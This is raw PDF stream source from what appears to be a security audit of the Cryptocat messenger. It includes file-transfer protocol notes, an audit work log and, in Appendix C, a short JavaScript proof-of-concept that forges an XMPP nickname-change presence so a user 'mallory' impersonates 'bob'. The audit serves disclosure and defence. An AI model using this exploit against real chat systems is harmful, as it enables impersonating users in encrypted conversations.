BT 1 0 0 1 0 50 Tm .407045 Tw 12 TL /F1 10 Tf 0 0 0 rg (The file transmitter then computes the bounds of the next chunk of the file \(where a "chunk" is) Tj T* 0 Tw .717209 Tw (64,511 bytes long, or shorter if there are not that many bytes left in the file\), starting from the) Tj T* 0 Tw 1.844983 Tw (current "position", sets the position \(on the object in the ) Tj /F4 10 Tf (files ) Tj /F1 10 Tf (hashtable under the ) Tj /F4 10 Tf (sid) Tj T* 0 Tw .104104 Tw /F1 10 Tf (index\) to the index number of the next byte after the chunk, and increments the counter \(on the) Tj T* 0 Tw (object in the ) Tj /F4 10 Tf (files ) Tj /F1 10 Tf (hashtable under the ) Tj /F4 10 Tf (sid ) Tj /F1 10 Tf (index\).) Tj T* ET
Q
Q
q
1 0 0 1 23 171 cm
q
BT 1 0 0 1 0 26 Tm .00936 Tw 12 TL /F1 10 Tf 0 0 0 rg (The file transmitter then reads the chunk from disk, and when the chunk is loaded into memory,) Tj T* 0 Tw .461235 Tw (it encrypts it with ) Tj /F3 10 Tf (AES-256 ) Tj /F1 10 Tf (in ) Tj /F3 10 Tf (CTR ) Tj /F1 10 Tf (mode using the encryption key and counter from the object) Tj T* 0 Tw (stored under the ) Tj /F4 10 Tf (sid ) Tj /F1 10 Tf (index in the ) Tj /F4 10 Tf (files ) Tj /F1 10 Tf (hashtable.) Tj T* ET
Q
Q
q
1 0 0 1 23 129 cm
q
BT 1 0 0 1 0 26 Tm .387485 Tw 12 TL /F1 10 Tf 0 0 0 rg (It then generates a header consisting of the counter value and the total number of chunks and) Tj T* 0 Tw 1.751318 Tw (computes a ) Tj /F3 10 Tf (MAC ) Tj /F1 10 Tf (over that header plus the ciphertext chunk, using the ) Tj /F3 10 Tf (MAC ) Tj /F1 10 Tf (key from the) Tj T* 0 Tw (object stored under the ) Tj /F4 10 Tf (sid ) Tj /F1 10 Tf (index in the ) Tj /F4 10 Tf (files ) Tj /F1 10 Tf (hashtable.) Tj T* ET
Q
Q
q
1 0 0 1 23 87 cm
q
BT 1 0 0 1 0 26 Tm .95186 Tw 12 TL /F1 10 Tf 0 0 0 rg (It then appends the ) Tj /F3 10 Tf (MAC ) Tj /F1 10 Tf (tag to the ciphertext chunk and sends an ) Tj /F3 10 Tf (IBB ) Tj /F1 10 Tf ("data" message with) Tj T* 0 Tw 1.804269 Tw (the data consisting of ciphertext chunk followed by the ) Tj /F3 10 Tf (MAC ) Tj /F1 10 Tf (tag. The ) Tj /F3 10 Tf (IBB ) Tj /F1 10 Tf ("data" message) Tj T* 0 Tw (includes, in addition to the data, a ) Tj /F4 10 Tf (from ) Tj /F1 10 Tf (and ) Tj /F4 10 Tf (sid) Tj /F1 10 Tf (.) Tj T* ET
Q
Q
q
1 0 0 1 23 81 cm
Q
q
1 0 0 1 23 81 cm
Q
q
1 0 0 1 23 69 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 -3 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 5.66 0 Td (a.) Tj T* -5.66 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
BT 1 0 0 1 0 2 Tm 12 TL /F1 10 Tf 0 0 0 rg (N.B. the file transmitter can choose anything it likes to send for the ) Tj /F4 10 Tf (sid) Tj /F1 10 Tf (.) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 23 69 cm
Q
q
1 0 0 1 23 63 cm
Q
q
1 0 0 1 23 63 cm
Q
q
1 0 0 1 23 27 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 21 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 5.66 0 Td (a.) Tj T* -5.66 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
0 0 0 rg
BT 1 0 0 1 0 26 Tm /F1 10 Tf 12 TL 1.704597 Tw (N.B. the server can choose anything that the file transmitter could choose \(from 8.b.a) Tj T* 0 Tw 2.411984 Tw (above\). In addition, the server can send the "from" field set to whatever it likes. As) Tj T* 0 Tw (mentioned above, the server also knows the sids of all clients.) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 23 27 cm
Q
q
1 0 0 1 23 -3 cm
q
BT 1 0 0 1 0 14 Tm .870651 Tw 12 TL /F1 10 Tf 0 0 0 rg (When/if the file transmitter receives an ) Tj /F3 10 Tf (IBB ) Tj /F1 10 Tf ("result" message in response to this send, then it) Tj T* 0 Tw (invokes its ) Tj /F4 10 Tf (sendFileData ) Tj /F1 10 Tf (method again.) Tj T* ET
Q
Q
q
Q
Q
q
Q
Q
endstream
endobj
% 'R201': class PDFStream
201 0 obj
% page stream
<< /Length 3621 >>
stream
1 0 0 1 0 0 cm BT /F1 12 Tf 14.4 TL ET
q
1 0 0 1 62.69291 753.0236 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
BT 1 0 0 1 6 -1 Tm T* ET
q
1 0 0 1 23 -3 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
BT 1 0 0 1 6 -1 Tm T* ET
q
1 0 0 1 23 -3 cm
q
BT 1 0 0 1 0 2 Tm 12 TL /F1 10 Tf 0 0 0 rg (\(See ) Tj /F4 10 Tf (Cryptocat.sendFileData ) Tj /F1 10 Tf (from ) Tj /F4 10 Tf (fileTransfer.js) Tj /F1 10 Tf (.\)) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 23 -3 cm
Q
q
Q
Q
q
1 0 0 1 62.69291 747.0236 cm
Q
q
1 0 0 1 62.69291 525.0236 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 207 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 5.66 0 Td (9.) Tj T* -5.66 0 Td ET
Q
Q
q
1 0 0 1 23 195 cm
q
0 0 0 rg
BT 1 0 0 1 0 14 Tm /F1 10 Tf 12 TL .904985 Tw (Now the following event might eventually occur in the file receiver, as caused by the network send) Tj T* 0 Tw (from the file-transmitter's 7.b.:) Tj T* ET
Q
Q
q
1 0 0 1 23 189 cm
Q
q
1 0 0 1 23 189 cm
Q
q
1 0 0 1 23 -3 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 177 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 5.66 0 Td (a.) Tj T* -5.66 0 Td ET
Q
Q
q
1 0 0 1 23 153 cm
q
BT 1 0 0 1 0 26 Tm .763984 Tw 12 TL /F1 10 Tf 0 0 0 rg (Whenever an ) Tj /F3 10 Tf (IBB ) Tj /F1 10 Tf ('data' message is received, the client uses the ) Tj /F4 10 Tf (from ) Tj /F1 10 Tf (and ) Tj /F4 10 Tf (sid ) Tj /F1 10 Tf (values from) Tj T* 0 Tw .979318 Tw (the message to look up the object in the ) Tj /F4 10 Tf (rcvFiles ) Tj /F1 10 Tf (hashtable indexed under the ) Tj /F4 10 Tf (from ) Tj /F1 10 Tf (and) Tj T* 0 Tw (then the ) Tj /F4 10 Tf (sid) Tj /F1 10 Tf (.) Tj T* ET
Q
Q
q
1 0 0 1 23 135 cm
q
BT 1 0 0 1 0 2 Tm 12 TL /F1 10 Tf 0 0 0 rg (From that object it reads an ) Tj /F4 10 Tf (abort ) Tj /F1 10 Tf (flag, and if that flag is set it returns.) Tj T* ET
Q
Q
q
1 0 0 1 23 57 cm
q
BT 1 0 0 1 0 62 Tm 1.950651 Tw 12 TL /F1 10 Tf 0 0 0 rg (Next, from that object it reads the encryption and ) Tj /F3 10 Tf (MAC ) Tj /F1 10 Tf (keys, counter, and total number of) Tj T* 0 Tw 1.174983 Tw (blocks. It generates a header containing the counter and total number of blocks, computes a) Tj T* 0 Tw 2.113516 Tw /F3 10 Tf (MAC ) Tj /F1 10 Tf (on that header using the ) Tj /F3 10 Tf (MAC ) Tj /F1 10 Tf (key, parses out the ) Tj /F3 10 Tf (MAC ) Tj /F1 10 Tf (tag from the data from the) Tj T* 0 Tw .85561 Tw (message, and compares its generated ) Tj /F3 10 Tf (MAC ) Tj /F1 10 Tf (tag to the one from the message. If they differ, it) Tj T* 0 Tw .862651 Tw (sets the ) Tj /F4 10 Tf (abort ) Tj /F1 10 Tf (flag on the object indexed under ) Tj /F4 10 Tf (from ) Tj /F1 10 Tf (and ) Tj /F4 10 Tf (sid ) Tj /F1 10 Tf (in the ) Tj /F4 10 Tf (rcvFile ) Tj /F1 10 Tf (hashtable) Tj T* 0 Tw (and returns.) Tj T* ET
Q
Q
q
1 0 0 1 23 15 cm
q
BT 1 0 0 1 0 26 Tm .181751 Tw 12 TL /F1 10 Tf 0 0 0 rg (Next, it decrypts the chunk using the key and counter. It appends the plaintext chunk data to an) Tj T* 0 Tw 3.018651 Tw (attribute named ) Tj /F4 10 Tf (data ) Tj /F1 10 Tf (of the object which is indexed under the ) Tj /F4 10 Tf (from ) Tj /F1 10 Tf (and ) Tj /F4 10 Tf (sid ) Tj /F1 10 Tf (in the) Tj T* 0 Tw /F4 10 Tf (rcvFile ) Tj /F1 10 Tf (hashtable, and increments the counter in that object.) Tj T* ET
Q
Q
q
1 0 0 1 23 -3 cm
q
BT 1 0 0 1 0 2 Tm 12 TL /F1 10 Tf 0 0 0 rg (\(See the 'data' case in ) Tj /F4 10 Tf (Cryptocat.ibbHandler ) Tj /F1 10 Tf (in ) Tj /F4 10 Tf (fileTransfer.js) Tj /F1 10 Tf (.\)) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 23 -3 cm
Q
q
Q
Q
q
1 0 0 1 62.69291 525.0236 cm
Q
q
1 0 0 1 62.69291 525.0236 cm
Q
endstream
endobj
% 'R202': class PDFStream
202 0 obj
% page stream
<< /Length 10076 >>
stream
1 0 0 1 0 0 cm BT /F1 12 Tf 14.4 TL ET
q
1 0 0 1 62.69291 744.0236 cm
q
BT 1 0 0 1 0 3.5 Tm 21 TL /F2 17.5 Tf 0 0 0 rg (Appendix B: Work Log) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 714.0236 cm
q
BT 1 0 0 1 0 14 Tm 1.757318 Tw 12 TL /F1 10 Tf 0 0 0 rg (We checked the Chrome store archive against the git tag and discovered a discrepancy. We created) Tj T* 0 Tw 0 0 .501961 rg (Issue 500 ) Tj 0 0 0 rg (to highlight this issue.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 708.0236 cm
Q
q
1 0 0 1 62.69291 708.0236 cm
Q
q
1 0 0 1 62.69291 660.0236 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 33 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
0 0 0 rg
BT 1 0 0 1 0 38 Tm /F1 10 Tf 12 TL 2.146412 Tw (Part of this issue is that the Chrome store automatically transcodes images which changes the) Tj T* 0 Tw 1.150651 Tw (archive contents and hash from what a developer submits. This inhibits an auditor from building a) Tj T* 0 Tw .478555 Tw (Chrome package to compare against the Chrome store release. We attempted to notify the Chrome) Tj T* 0 Tw (store about this issue.) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 62.69291 660.0236 cm
Q
q
1 0 0 1 62.69291 642.0236 cm
q
BT 1 0 0 1 0 2 Tm 12 TL /F1 10 Tf 0 0 0 rg (We examined changes in the ) Tj /F4 10 Tf (otr.js ) Tj /F1 10 Tf (dependency.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 636.0236 cm
Q
q
1 0 0 1 62.69291 636.0236 cm
Q
q
1 0 0 1 62.69291 624.0236 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 -3 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
BT 1 0 0 1 0 2 Tm 12 TL /F1 10 Tf 0 0 0 rg (Discovered ) Tj /F4 10 Tf (extra_symkey ) Tj /F1 10 Tf (which is used for file transfer.) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 62.69291 624.0236 cm
Q
q
1 0 0 1 62.69291 594.0236 cm
q
BT 1 0 0 1 0 14 Tm .241318 Tw 12 TL /F1 10 Tf 0 0 0 rg (We examined ) Tj /F4 10 Tf (otr.js) Tj /F1 10 Tf ( ) Tj /F4 10 Tf (prepareMsg\(\) ) Tj /F1 10 Tf (function which is used for both chat messages and to initiate file) Tj T* 0 Tw (transfers.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 588.0236 cm
Q
q
1 0 0 1 62.69291 588.0236 cm
Q
q
1 0 0 1 62.69291 564.0236 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 9 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
BT 1 0 0 1 0 14 Tm 3.316905 Tw 12 TL /F1 10 Tf 0 0 0 rg (Things we ) Tj /F3 10 Tf (didn't ) Tj /F1 10 Tf (cover: ) Tj /F3 10 Tf (SMP) Tj /F1 10 Tf (-based authentication, the user interface when it fails, the code) Tj T* 0 Tw (implementing same.) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 62.69291 564.0236 cm
Q
q
1 0 0 1 62.69291 534.0236 cm
q
BT 1 0 0 1 0 14 Tm .122196 Tw 12 TL /F1 10 Tf 0 0 0 rg (We examined file transfer thoroughly throughout the ) Tj /F4 10 Tf (cryptocat.js) Tj /F1 10 Tf (, ) Tj /F4 10 Tf (etc/fileTransfer.js) Tj /F1 10 Tf (, ) Tj /F4 10 Tf (otr.js) Tj /F1 10 Tf (,) Tj T* 0 Tw (and ) Tj /F4 10 Tf (lib/crypto-js/*.js) Tj /F1 10 Tf (.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 528.0236 cm
Q
q
1 0 0 1 62.69291 528.0236 cm
Q
q
1 0 0 1 62.69291 462.0236 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 51 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 39 cm
q
BT 1 0 0 1 0 14 Tm .001984 Tw 12 TL /F1 10 Tf 0 0 0 rg (We mainly focused on the call stack in the ) Tj /F4 10 Tf (crypto-js ) Tj /F1 10 Tf (dependency, rather than analysing the entire) Tj T* 0 Tw (codebase, so we focused on the ) Tj /F3 10 Tf (AES ) Tj /F1 10 Tf (and ) Tj /F3 10 Tf (CTR ) Tj /F1 10 Tf (mode implementations.) Tj T* ET
Q
Q
q
1 0 0 1 23 33 cm
Q
q
1 0 0 1 23 33 cm
Q
q
1 0 0 1 23 -3 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 21 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
BT 1 0 0 1 0 26 Tm 1.819398 Tw 12 TL /F1 10 Tf 0 0 0 rg (Note: We have a concern about a potential security failure if ) Tj /F3 10 Tf (IV ) Tj /F1 10 Tf (is the wrong type, size, or) Tj T* 0 Tw 1.72816 Tw (element type/range when using counter mode in this dependency. We analyzed ) Tj /F3 10 Tf (Cryptocat) Tj /F1 10 Tf ('s) Tj T* 0 Tw (current call sites and believe it uses ) Tj /F3 10 Tf (IV ) Tj /F1 10 Tf (s of the correct type and size.) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 23 -3 cm
Q
q
Q
Q
q
1 0 0 1 62.69291 456.0236 cm
Q
q
1 0 0 1 62.69291 390.0236 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 51 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 27 cm
q
BT 1 0 0 1 0 26 Tm 1.06998 Tw 12 TL /F1 10 Tf 0 0 0 rg (We investigated a concerning counter rollover behavior in ) Tj /F4 10 Tf (crypto-js ) Tj /F1 10 Tf (and verified that ) Tj /F3 10 Tf (Cryptocat) Tj T* 0 Tw .486651 Tw /F1 10 Tf (currently will never cause this rollover in file-transfer encryption. However, this is a danger for future) Tj T* 0 Tw (development.) Tj T* ET
Q
Q
q
1 0 0 1 23 21 cm
Q
q
1 0 0 1 23 21 cm
Q
q
1 0 0 1 23 -3 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 9 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
BT 1 0 0 1 0 14 Tm .509985 Tw 12 TL /F1 10 Tf 0 0 0 rg (The restriction on file transfer ) Tj /F3 10 Tf (MIME ) Tj /F1 10 Tf (type is described in the UI but not documented or justified) Tj T* 0 Tw (in the ) Tj 0 0 .501961 rg (Wiki Specification of File Transfer) Tj 0 0 0 rg (.) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 23 -3 cm
Q
q
Q
Q
q
1 0 0 1 62.69291 390.0236 cm
Q
q
1 0 0 1 62.69291 372.0236 cm
q
BT 1 0 0 1 0 2 Tm 12 TL /F1 10 Tf 0 0 0 rg (We investigated the entire source and use of ) Tj /F4 10 Tf (etc/random.js) Tj /F1 10 Tf (:) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 366.0236 cm
Q
q
1 0 0 1 62.69291 366.0236 cm
Q
q
1 0 0 1 62.69291 342.0236 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 9 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
BT 1 0 0 1 0 14 Tm 5.494418 Tw 12 TL /F1 10 Tf 0 0 0 rg (Examined how seeds are distributed to web workers: ) Tj /F4 10 Tf (workers/keyGenerator.js ) Tj /F1 10 Tf (and) Tj T* 0 Tw /F4 10 Tf (workers/smp.js) Tj /F1 10 Tf (.) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 62.69291 336.0236 cm
Q
q
1 0 0 1 62.69291 288.0236 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 33 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
0 0 0 rg
BT 1 0 0 1 0 38 Tm /F1 10 Tf 12 TL 1.112651 Tw (We examined the API and call sites to gain assurance that there are not insufficient-entropy flaws) Tj T* 0 Tw 1.52686 Tw (due to buffer encodings as have been discovered in the past. The new API makes the encoding) Tj T* 0 Tw 1.543059 Tw (much more explicit using explicitly-named encodings. We believe the correct encoding is used at) Tj T* 0 Tw (each call site, so we have confidence this kind of flaw is not present in the current codebase.) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 62.69291 288.0236 cm
Q
q
1 0 0 1 62.69291 234.0236 cm
q
BT 1 0 0 1 0 38 Tm .49784 Tw 12 TL /F1 10 Tf 0 0 0 rg (We also briefly skimmed the complete source to ) Tj /F4 10 Tf (lib/salsa20.js ) Tj /F1 10 Tf (to identify any glaring problems, but) Tj T* 0 Tw 2.439269 Tw (saw none. We did not thoroughly verify the implementation correctness, such as by comparing test) Tj T* 0 Tw 1.60229 Tw (vectors against other implementations, nor did we analyze side-channel issues which may leak secret) Tj T* 0 Tw (state.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 204.0236 cm
q
BT 1 0 0 1 0 14 Tm .964524 Tw 12 TL /F1 10 Tf 0 0 0 rg (We examined portions of ) Tj /F4 10 Tf (lib/strophe/ ) Tj /F1 10 Tf (relevant to understanding interactions between ) Tj /F3 10 Tf (XMPP) Tj /F1 10 Tf (, ) Tj /F3 10 Tf (OTR) Tj /F1 10 Tf (,) Tj T* 0 Tw (and ) Tj /F3 10 Tf (Cryptocat ) Tj /F1 10 Tf (data structures and event interleaving.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 186.0236 cm
q
BT 1 0 0 1 0 2 Tm 12 TL /F1 10 Tf 0 0 0 rg (We did minimal analysis on the potential for ) Tj /F3 10 Tf (XSS ) Tj /F1 10 Tf (and ) Tj /F3 10 Tf (CSRF ) Tj /F1 10 Tf (vulnerabilities:) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 180.0236 cm
Q
q
1 0 0 1 62.69291 180.0236 cm
Q
q
1 0 0 1 62.69291 120.0236 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 45 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
BT 1 0 0 1 0 50 Tm 2.903059 Tw 12 TL /F1 10 Tf 0 0 0 rg (We believe ) Tj /F3 10 Tf (BOSH ) Tj /F1 10 Tf (is resistant to ) Tj /F3 10 Tf (CSRF ) Tj /F1 10 Tf (attacks provided the ) Tj /F4 10 Tf (sid ) Tj /F1 10 Tf (parameter is unguessable.) Tj T* 0 Tw .985984 Tw (Viewing requests and responses in the browser's developer tools suggests this is true. We did not) Tj T* 0 Tw 1.529985 Tw (analyze if participants in a group chat can learn sufficient details to create a ) Tj /F3 10 Tf (CSRF ) Tj /F1 10 Tf (attack vector) Tj T* 0 Tw .316235 Tw (against other users. \(Also, if this were a problem, it would be common to all ) Tj /F3 10 Tf (BOSH ) Tj /F1 10 Tf (implementations.) Tj T* 0 Tw (We have not yet investigated if this is a commonly known issue.\)) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 62.69291 114.0236 cm
Q
q
1 0 0 1 62.69291 78.02362 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 21 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
BT 1 0 0 1 0 26 Tm .099986 Tw 12 TL /F1 10 Tf 0 0 0 rg (We performed only a few ) Tj /F3 10 Tf (XSS ) Tj /F1 10 Tf (tests, such as injections in the username or chat contents. The former) Tj T* 0 Tw .516905 Tw (is inconclusive because we did not bypass client-based input-side restrictions that a malicious client) Tj T* 0 Tw (could bypass, and the latter was unsuccessful.) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 62.69291 76.86614 cm
Q
endstream
endobj
% 'R203': class PDFStream
203 0 obj
% page stream
<< /Length 2867 >>
stream
1 0 0 1 0 0 cm BT /F1 12 Tf 14.4 TL ET
q
1 0 0 1 62.69291 753.0236 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 -3 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL (Our investigation into these kinds of web-frontend attacks was not very thorough.) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 62.69291 753.0236 cm
Q
q
1 0 0 1 62.69291 735.0236 cm
q
BT 1 0 0 1 0 2 Tm 12 TL /F1 10 Tf 0 0 0 rg (We did investigate ) Tj /F4 10 Tf (lib/bigint.js) Tj /F1 10 Tf (:) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 729.0236 cm
Q
q
1 0 0 1 62.69291 729.0236 cm
Q
q
1 0 0 1 62.69291 717.0236 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 -3 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
BT 1 0 0 1 0 2 Tm 12 TL /F1 10 Tf 0 0 0 rg (Found and filed a performance bug which we do not believe is security relevant, ) Tj 0 0 .501961 rg (OTR Issue 41) Tj 0 0 0 rg (.) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 62.69291 711.0236 cm
Q
q
1 0 0 1 62.69291 699.0236 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 -3 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
BT 1 0 0 1 0 2 Tm 12 TL /F1 10 Tf 0 0 0 rg (Examined implementation of Maurer's algorithm before realizing it is unexercised in ) Tj /F3 10 Tf (Cryptocat) Tj /F1 10 Tf (.) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 62.69291 699.0236 cm
Q
q
1 0 0 1 62.69291 657.0236 cm
q
BT 1 0 0 1 0 26 Tm .894147 Tw 12 TL /F1 10 Tf 0 0 0 rg (We investigated the potential for cross-site ) Tj /F4 10 Tf (postMessage\(\) ) Tj /F1 10 Tf (abuse against the web workers; however,) Tj T* 0 Tw .652126 Tw (they are anonymous web workers, and thus protected against this attack vector by ) Tj /F3 10 Tf (JavaScript ) Tj /F1 10 Tf (referential) Tj T* 0 Tw (semantics.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 639.0236 cm
q
BT 1 0 0 1 0 2 Tm 12 TL /F1 10 Tf 0 0 0 rg (Investigated authentication, mainly in one-to-one ) Tj /F3 10 Tf (OTR ) Tj /F1 10 Tf (chat:) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 633.0236 cm
Q
q
1 0 0 1 62.69291 633.0236 cm
Q
q
1 0 0 1 62.69291 621.0236 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 -3 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
BT 1 0 0 1 0 2 Tm 12 TL /F1 10 Tf 0 0 0 rg (Filed ) Tj /F3 10 Tf (Issue 506 ) Tj /F1 10 Tf (about a dubious time-based retry loop for sending public keys.) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 62.69291 621.0236 cm
Q
q
1 0 0 1 62.69291 603.0236 cm
q
BT 1 0 0 1 0 2 Tm 12 TL /F1 10 Tf 0 0 0 rg (Experimented with nickname reuse between clients at different times in the same channel.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 603.0236 cm
Q
endstream
endobj
% 'R204': class PDFStream
204 0 obj
% page stream
<< /Length 1900 >>
stream
1 0 0 1 0 0 cm BT /F1 12 Tf 14.4 TL ET
q
1 0 0 1 62.69291 744.0236 cm
q
BT 1 0 0 1 0 3.5 Tm 21 TL /F2 17.5 Tf 0 0 0 rg (Appendix C: Exploit Code for Issue G) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 726.0236 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL (The following code, triggered on connection to the server, was used to verify Issue G:) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 443.5142 cm
q
q
.814085 0 0 .814085 0 0 cm
q
1 0 0 1 6.6 8.107263 cm
q
.662745 .662745 .662745 RG
.5 w
.960784 .960784 .862745 rg
n -6 -6 576 336 re B*
Q
q
0 0 0 rg
BT 1 0 0 1 0 314 Tm /F4 10 Tf 12 TL (if \(Cryptocat.myNickname == 'mallory'\) {) Tj T* ( try {) Tj T* ( var delay = 30;) Tj T* ( var newNickname = 'bob';) Tj T* T* ( console.log\('Hacking commences in ' + delay + 's'\);) Tj T* T* ( // Cryptocat.xmpp.connection.muc on trunk) Tj T* ( var muc = Cryptocat.connection.muc;) Tj T* ( // Cryptocat.xmpp.conferenceServer on trunk) Tj T* ( var roomPrefix = Cryptocat.conversationName + '@' + Cryptocat.conferenceServer + '/';) Tj T* T* ( var fromJID = muc._connection.jid;) Tj T* ( var presence = new Strophe.Builder\('presence', {to: roomPrefix + Cryptocat.myNickname,) Tj T* ( from: fromJID}\)) Tj T* ( .c\('status', {code: '303'}\).up\(\)) Tj T* ( .c\('item', {nick: newNickname}\).tree\(\);) Tj T* ( console.log\(presence\);) Tj T* ( window.setTimeout\(function\(\) {) Tj T* ( console.log\('Sending the presence message:', presence\);) Tj T* ( muc._connection.send\(presence\);) Tj T* ( console.log\('Sent it'\);) Tj T* ( }, delay*1000\);) Tj T* ( } catch\(e\) {) Tj T* ( console.log\(e, e.stack\);) Tj T* ( }) Tj T* (}) Tj T* ET
Q
Q
Q
Q
Q
endstream
endobj
% 'R205': class PDFPageLabels
205 0 obj
% Document Root
<< /Nums [ 0
206 0 R
1
207 0 R
2
208 0 R
3
209 0 R
4
210 0 R
5
211 0 R
6
212 0 R
7
213 0 R
8
214 0 R
9
215 0 R
10
216 0 R
11
217 0 R
12
218 0 R
13
219 0 R
14
220 0 R
15
221 0 R
16
222 0 R
17
223 0 R
18
224 0 R
19
225 0 R
20
226 0 R
